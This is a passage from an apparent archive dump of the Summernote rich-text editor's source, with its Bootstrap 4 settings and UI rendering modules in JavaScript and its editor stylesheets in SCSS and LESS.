$editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.show(); } }; export default ui; js/bs4/settings.js000064400000024241151677272030010063 0ustar00import $ from 'jquery'; import ui from '../bs4/ui'; import dom from '../base/core/dom'; import '../base/summernote-en-US'; import Editor from '../base/module/Editor'; import Clipboard from '../base/module/Clipboard'; import Dropzone from '../base/module/Dropzone'; import Codeview from '../base/module/Codeview'; import Statusbar from '../base/module/Statusbar'; import Fullscreen from '../base/module/Fullscreen'; import Handle from '../base/module/Handle'; import AutoLink from '../base/module/AutoLink'; import AutoSync from '../base/module/AutoSync'; import Placeholder from '../base/module/Placeholder'; import Buttons from '../base/module/Buttons'; import Toolbar from '../base/module/Toolbar'; import LinkDialog from '../base/module/LinkDialog'; import LinkPopover from '../base/module/LinkPopover'; import ImageDialog from '../base/module/ImageDialog'; import ImagePopover from '../base/module/ImagePopover'; import TablePopover from '../base/module/TablePopover'; import VideoDialog from '../base/module/VideoDialog'; import HelpDialog from '../base/module/HelpDialog'; import AirPopover from '../base/module/AirPopover'; import HintPopover from '../base/module/HintPopover'; $.summernote = $.extend($.summernote, { version: '@@VERSION@@', ui: ui, dom: dom, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': Codeview, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, linkTargetBlank: true, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: [ 'p', { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' }, 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); import '../summernote'; // eslint-disable-line js/bs4/ui.js000064400000020552151677272030006641 0ustar00import $ from 'jquery'; import renderer from '../base/renderer'; const editor = renderer.create('<div class="note-editor note-frame card"/>'); const toolbar = renderer.create('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>'); const editingArea = renderer.create('<div class="note-editing-area"/>'); const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); const editable = renderer.create('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>'); const statusbar = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-statusbar" role="status">', ' <output class="note-status-output" aria-live="polite"></output>', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); const airEditor = renderer.create('<div class="note-editor"/>'); const airEditable = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); const buttonGroup = renderer.create('<div class="note-btn-group btn-group">'); const dropdown = renderer.create('<div class="dropdown-menu" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; const option = (typeof item === 'object') ? item.option : undefined; const dataValue = 'data-value="' + value + '"'; const dataOption = (option !== undefined) ? ' data-option="' + option + '"' : ''; return '<a class="dropdown-item" href="#" ' + (dataValue + dataOption) + ' role="listitem" aria-label="' + item + '">' + content + '</a>'; }).join('') : options.items; $node.html(markup).attr({'aria-label': options.title}); }); const dropdownButtonContents = function(contents) { return contents; }; const dropdownCheck = renderer.create('<div class="dropdown-menu note-check" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; return '<a class="dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '">' + icon(options.checkClassName) + ' ' + content + '</a>'; }).join('') : options.items; $node.html(markup).attr({'aria-label': options.title}); }); const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) { const contents = []; for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) { const eventName = options.eventName; const colors = options.colors[row]; const colorsName = options.colorsName[row]; const buttons = []; for (let col = 0, colSize = colors.length; col < colSize; col++) { const color = colors[col]; const colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); if (options.tooltip) { $node.find('.note-color-btn').tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } }); const dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ '<div class="modal-dialog">', ' <div class="modal-content">', (options.title ? ' <div class="modal-header">' + ' <h4 class="modal-title">' + options.title + '</h4>' + ' <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button>' + ' </div>' : '' ), ' <div class="modal-body">' + options.body + '</div>', (options.footer ? ' <div class="modal-footer">' + options.footer + '</div>' : '' ), ' </div>', '</div>' ].join('')); }); const popover = renderer.create([ '<div class="note-popover popover in">', ' <div class="arrow"/>', ' <div class="popover-content note-children-container"/>', '</div>' ].join(''), function($node, options) { const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction); if (options.hideArrow) { $node.find('.arrow').hide(); } }); const checkbox = renderer.create('<label class="custom-control custom-checkbox"></label>', function($node, options) { if (options.id) { $node.attr('for', options.id); } $node.html([ ' <input role="checkbox" type="checkbox" class="custom-control-input"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', ' <span class="custom-control-indicator"></span>', ' <span class="custom-control-description">' + (options.text ? options.text : '') + '</span>', '</label>' ].join('')); }); const icon = function(iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; const ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, dropdown: dropdown, dropdownButtonContents: dropdownButtonContents, dropdownCheck: dropdownCheck, palette: palette, dialog: dialog, popover: popover, icon: icon, checkbox: checkbox, options: {}, button: function($node, options) { return renderer.create('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">', function($node, options) { if (options && options.tooltip) { $node.attr({ title: options.tooltip, 'aria-label': options.tooltip }).tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } })($node, options); }, toggleBtn: function($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function($btn, isActive) { $btn.toggleClass('active', isActive); }, onDialogShown: function($dialog, handler) { $dialog.one('shown.bs.modal', handler); }, onDialogHidden: function($dialog, handler) { $dialog.one('hidden.bs.modal', handler); }, showDialog: function($dialog) { $dialog.modal('show'); }, hideDialog: function($dialog) { $dialog.modal('hide'); }, createLayout: function($note, options) { const $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: $editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.show(); } }; export default ui; less/summernote.scss000064400000027077151677272030010634 0ustar00@import "elements.scss"; /* Theme Variables ------------------------------------------*/ $border-color: #a9a9a9; $background-color: #f5f5f5; $img-margin-left: 10px; $img-margin-right: 10px; /* Layout ------------------------------------------*/ .note-editor { position: relative; /* dropzone */ $dropzone-color: lightskyblue; $dropzone-active-color: darken($dropzone-color, 30); .note-dropzone { position: absolute; display: none; z-index: 100; color: $dropzone-color; background-color: #fff; opacity: 0.95; .note-dropzone-message { display: table-cell; vertical-align: middle; text-align: center; font-size: 28px; font-weight: 700; } &.hover { color: $dropzone-active-color; } } &.dragover .note-dropzone { display: table; } .note-editing-area { position: relative; .note-editable { outline: none; sup { vertical-align: super; } sub { vertical-align: sub; } img.note-float-left { margin-right: $img-margin-right; } img.note-float-right { margin-left: $img-margin-left; } } } } /* Frame mode layout ------------------------------------------*/ .note-editor.note-frame { border: 1px solid $border-color; /* codeview mode */ &.codeview { .note-editing-area { .note-editable { display: none; } .note-codable { display: block; } } } .note-editing-area { overflow: hidden; /* editable */ .note-editable { background-color: #fff; color: #000; padding: 10px; overflow: auto; word-wrap: break-word; &[contenteditable="false"] { background-color: #e5e5e5; } } /* codeable */ .note-codable { display: none; width: 100%; padding: 10px; border: none; box-shadow: none; font-family: Menlo, Monaco, monospace, sans-serif; font-size: 14px; color: #ccc; background-color: #222; resize: none; /* override BS2 default style */ @include box-sizing(border-box); @include rounded(0); margin-bottom: 0; } } /* fullscreen mode */ &.fullscreen { position: fixed; top: 0; left: 0; width: 100% !important; z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */ .note-editable { background-color: #fff; } .note-resizebar { display: none; } } /* Notifications */ .note-status-output { display: block; width: 100%; font-size: 14px; line-height: 1.42857143; height: 20px; margin-bottom: 0; color: #000; border: 0; border-top: 1px solid #e2e2e2 } .note-status-output:empty { height: 0; border-top:0 solid transparent } .note-status-output .pull-right { float: right !important } .note-status-output .text-muted { color: #777 } .note-status-output .text-primary { color: #286090 } .note-status-output .text-success { color: #3c763d } .note-status-output .text-info { color: #31708f } .note-status-output .text-warning { color: #8a6d3b } .note-status-output .text-danger { color:#a94442 } .note-status-output .alert { margin: -7px 0 0 0; padding: 7px 10px 2px 10px; border-radius: 0; color: #000; background-color: #f5f5f5; } .note-status-output .alert .note-icon{ margin-right:5px } .note-status-output .alert-success { color: #3c763d !important; background-color: #dff0d8 !important; } .note-status-output .alert-info { color: #31708f !important; background-color: #d9edf7 !important; } .note-status-output .alert-warning { color: #8a6d3b !important; background-color: #fcf8e3 !important; } .note-status-output .alert-danger { color: #a94442 !important; background-color: #f2dede !important; } /* statusbar */ .note-statusbar { background-color: $background-color; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top: 1px solid #ddd; .note-resizebar { padding-top: 1px; height: 9px; width: 100%; cursor: ns-resize; .note-icon-bar { width: 20px; margin: 1px auto; border-top: 1px solid $border-color; } } &.locked { .note-resizebar { cursor: default; .note-icon-bar { display: none; } } } } .note-placeholder { padding: 10px; } } /* Popover ------------------------------------------*/ .note-popover.popover { max-width: none; .popover-content { a { display: inline-block; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; /* for FF */ vertical-align: middle; /* for FF */ } } .arrow { left: 20px !important; } } /* Popover and Toolbar (Button container) ------------------------------------------*/ .note-popover .popover-content, .panel-heading.note-toolbar { margin: 0; padding: 0 0 5px 5px; &>.btn-group { margin-top: 5px; margin-left: 0; margin-right: 5px; } .btn-group { .note-table { min-width: 0; padding: 5px; .note-dimension-picker { font-size: 18px; .note-dimension-picker-mousecatcher { position: absolute !important; z-index: 3; width: 10em; height: 10em; cursor: pointer; } .note-dimension-picker-unhighlighted { position: relative !important; z-index: 1; width: 5em; height: 5em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } .note-dimension-picker-highlighted { position: absolute !important; z-index: 2; width: 1em; height: 1em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } } } } .note-style { .dropdown-style { blockquote, pre { margin: 0; padding: 5px 10px; } h1, h2, h3, h4, h5, h6, p { margin: 0; padding: 0; } } } .note-color { .dropdown-toggle { width: 20px; padding-left: 5px; } .dropdown-menu { min-width: 340px; .btn-group { margin: 0; &:first-child { margin: 0 5px; } .note-palette-title { font-size: 12px; margin: 2px 7px; text-align: center; border-bottom: 1px solid #eee; } .note-color-reset { font-size: 11px; margin: 3px; padding: 0 3px; cursor: pointer; @include rounded(5px); } .note-color-row { height: 20px; } .note-color-reset:hover { background: #eee; } } } } .note-para { .dropdown-menu { min-width: 216px; padding: 5px; &>div:first-child { margin-right: 5px; } } } /* dropdown-menu for toolbar and popover */ .dropdown-menu { min-width: 90px; /* dropdown-menu right position */ /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */ &.right { right: 0; left: auto; &::before { right: 9px; left: auto !important; } &::after { right: 10px; left: auto !important; } } /* dropdown-menu for selectbox */ &.note-check { li a i { color: deepskyblue; visibility: hidden; } li a.checked i { visibility: visible; } } } .note-fontsize-10 { font-size: 10px; } /* color palette for toolbar and popover */ .note-color-palette { line-height: 1; div { .note-color-btn { width: 20px; height: 20px; padding: 0; margin: 0; border: 1px solid #fff; } .note-color-btn:hover { border: 1px solid #000; } } } } /* Dialog ------------------------------------------*/ .note-dialog { &>div { display: none; /* BS2's hide pacth. */ } .form-group { /* overwrite BS's form-horizontal minus margins */ margin-left: 0; margin-right: 0; } .note-modal-form { margin: 0; /* overwrite BS2's form margin bottom */ } .note-image-dialog { .note-dropzone { min-height: 100px; font-size: 30px; line-height: 4; /* vertical-align */ color: lightgray; text-align: center; border: 4px dashed lightgray; margin-bottom: 10px; } } } /* Placeholder ------------------------------------------*/ .note-placeholder { position: absolute; display: none; color: gray; } /* Handle ------------------------------------------*/ .note-handle { /* control selection */ .note-control-selection { position: absolute; display: none; border: 1px solid #000; &>div { position: absolute; } .note-control-selection-bg { width: 100%; height: 100%; background-color: #000; @include opacity(0.3); } .note-control-handle { width: 7px; height: 7px; border: 1px solid #000; } .note-control-holder { @extend .note-control-handle; } .note-control-sizing { @extend .note-control-handle; background-color: #000; } .note-control-nw { top: -5px; left: -5px; border-right: none; border-bottom: none; } .note-control-ne { top: -5px; right: -5px; border-bottom: none; border-left: none; } .note-control-sw { bottom: -5px; left: -5px; border-top: none; border-right: none; } .note-control-se { right: -5px; bottom: -5px; cursor: se-resize; } .note-control-se.note-control-holder { cursor: default; border-top: none; border-left: none; } .note-control-selection-info { right: 0; bottom: 0; padding: 5px; margin: 5px; color: #fff; background-color: #000; font-size: 12px; @include rounded(5px); @include opacity(0.7); } } } .note-hint-popover { min-width: 100px; padding: 2px; .popover-content { padding: 3px; max-height: 150px; overflow: auto; .note-hint-group { .note-hint-item { display: block !important; padding: 3px; &.active, &:hover { display: block; clear: both; font-weight: 400; line-height: 1.4; color: white; white-space: nowrap; text-decoration: none; background-color: #428bca; outline: 0; cursor: pointer; } } } } } less/summernote.less000064400000027456151677272030010630 0ustar00@import "elements.less"; @import "../icons/dist/summernote.less"; /* Theme Variables ------------------------------------------*/ @border-color: #a9a9a9; @background-color: #f5f5f5; @img-margin-left: 10px; @img-margin-right: 10px; /* Layout ------------------------------------------*/ .note-editor { position: relative; /* dropzone */ @dropzone-color: lightskyblue; @dropzone-active-color: darken(@dropzone-color, 30); .note-dropzone { position: absolute; display: none; z-index: 100; color: @dropzone-color; background-color: #fff; opacity: 0.95; .note-dropzone-message { display: table-cell; vertical-align: middle; text-align: center; font-size: 28px; font-weight: 700; } &.hover { color: @dropzone-active-color; } } &.dragover .note-dropzone { display: table; } .note-editing-area { position: relative; .note-editable { outline: none; sup { vertical-align: super; } sub { vertical-align: sub; } } img.note-float-left { margin-right: @img-margin-right; } img.note-float-right { margin-left: @img-margin-left; } } } /* Frame mode layout ------------------------------------------*/ .note-editor.note-frame { border: 1px solid @border-color; /* codeview mode */ &.codeview { .note-editing-area { .note-editable { display: none; } .note-codable { display: block; } } } .note-editing-area { overflow: hidden; /* editable */ .note-editable { background-color: #fff; color: #000; padding: 10px; overflow: auto; word-wrap: break-word; &[contenteditable="false"] { background-color: #e5e5e5; } } /* codeable */ .note-codable { display: none; width: 100%; padding: 10px; border: none; box-shadow: none; font-family: Menlo, Monaco, monospace, sans-serif; font-size: 14px; color: #ccc; background-color: #222; resize: none; /* override BS2 default style */ .box-sizing(border-box); .rounded(0); margin-bottom: 0; } } /* fullscreen mode */ &.fullscreen { position: fixed; top: 0; left: 0; width: 100% !important; z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */ .note-editable { background-color: #fff; } .note-resizebar { display: none; } } /* Notifications */ .note-status-output { display: block; width: 100%; font-size: 14px; line-height: 1.42857143; height: 20px; margin-bottom: 0; color: #000; border: 0; border-top: 1px solid #e2e2e2 } .note-status-output:empty { height: 0; border-top:0 solid transparent } .note-status-output .pull-right { float: right !important } .note-status-output .text-muted { color: #777 } .note-status-output .text-primary { color: #286090 } .note-status-output .text-success { color: #3c763d } .note-status-output .text-info { color: #31708f } .note-status-output .text-warning { color: #8a6d3b } .note-status-output .text-danger { color:#a94442 } .note-status-output .alert { margin: -7px 0 0 0; padding: 7px 10px 2px 10px; border-radius: 0; color: #000; background-color: #f5f5f5; } .note-status-output .alert .note-icon{ margin-right:5px } .note-status-output .alert-success { color: #3c763d !important; background-color: #dff0d8 !important; } .note-status-output .alert-info { color: #31708f !important; background-color: #d9edf7 !important; } .note-status-output .alert-warning { color: #8a6d3b !important; background-color: #fcf8e3 !important; } .note-status-output .alert-danger { color: #a94442 !important; background-color: #f2dede !important; } /* statusbar */ .note-statusbar { background-color: @background-color; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top: 1px solid #ddd; .note-resizebar { padding-top: 1px; height: 9px; width: 100%; cursor: ns-resize; .note-icon-bar { width: 20px; margin: 1px auto; border-top: 1px solid @border-color; } } &.locked { .note-resizebar { cursor: default; .note-icon-bar { display: none; } } } } .note-placeholder { padding: 10px; } } /* Popover ------------------------------------------*/ .note-popover.popover { max-width: none; .popover-content { a { display: inline-block; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; /* for FF */ vertical-align: middle; /* for FF */ } } .arrow { left: 20px !important; } } /* Popover and Toolbar (Button container) ------------------------------------------*/ .note-toolbar { z-index: 500; position: relative; } .note-popover .popover-content, .panel-heading.note-toolbar { margin: 0; padding: 0 0 5px 5px; &>.btn-group { margin-top: 5px; margin-left: 0; margin-right: 5px; } .btn-group { .note-table { min-width: 0; padding: 5px; .note-dimension-picker { font-size: 18px; .note-dimension-picker-mousecatcher { position: absolute !important; z-index: 3; width: 10em; height: 10em; cursor: pointer; } .note-dimension-picker-unhighlighted { position: relative !important; z-index: 1; width: 5em; height: 5em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } .note-dimension-picker-highlighted { position: absolute !important; z-index: 2; width: 1em; height: 1em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } } } } .note-style { .dropdown-style { blockquote, pre { margin: 0; padding: 5px 10px; } h1, h2, h3, h4, h5, h6, p { margin: 0; padding: 0; } } } .note-color { .dropdown-toggle { width: 20px; padding-left: 5px; } .dropdown-menu { min-width: 337px; .note-palette { display: inline-block; margin: 0; width: 160px; &:first-child { margin: 0 5px; } .note-palette-title { font-size: 12px; margin: 2px 7px; text-align: center; border-bottom: 1px solid #eee; } .note-color-reset { margin: 3px; padding: 0 3px; width: 100%; font-size: 11px; cursor: pointer; .rounded(5px); } .note-color-row { height: 20px; } .note-color-reset:hover { background: #eee; } } } } .note-para { .dropdown-menu { min-width: 216px; padding: 5px; &>div:first-child { margin-right: 5px; } } } /* dropdown-menu for toolbar and popover */ .dropdown-menu { min-width: 90px; /* dropdown-menu right position */ /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */ &.right { right: 0; left: auto; &::before { right: 9px; left: auto !important; } &::after { right: 10px; left: auto !important; } } /* dropdown-menu for selectbox */ &.note-check { li a i { color: deepskyblue; visibility: hidden; } li a.checked i { visibility: visible; } } } .note-fontsize-10 { font-size: 10px; } /* color palette for toolbar and popover */ .note-color-palette { line-height: 1; div { .note-color-btn { width: 20px; height: 20px; padding: 0; margin: 0; border: 1px solid #fff; } .note-color-btn:hover { border: 1px solid #000; } } } } /* Dialog ------------------------------------------*/ .note-dialog { &>div { display: none; /* BS2's hide pacth. */ } .form-group { /* 